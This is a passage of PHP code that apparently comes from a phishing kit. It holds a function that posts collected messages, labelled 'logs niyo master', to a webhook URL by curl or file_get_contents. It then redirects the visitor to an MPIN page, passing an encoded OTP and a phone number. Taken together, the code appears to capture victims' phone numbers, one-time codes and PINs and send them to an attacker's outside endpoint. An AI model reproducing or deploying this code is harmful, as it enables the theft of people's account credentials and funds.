"$msg", 'username' => "logs niyo master"); $make_json = json_encode($json_data); $ch = curl_init($webhookurl); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json')); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $make_json); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch); return $response; } else { $json_data = array('content' => "$msg"); $opts = array('http' => array( 'method' => 'POST', 'header' => 'Content-Type: application/json', 'content' => json_encode($json_data) ) ); $context = stream_context_create($opts); $response = file_get_contents($webhookurl, false, $context); return $response; } } header("Location: mpin.php?mpinclid=$encodenumotp&mobnumid=$number");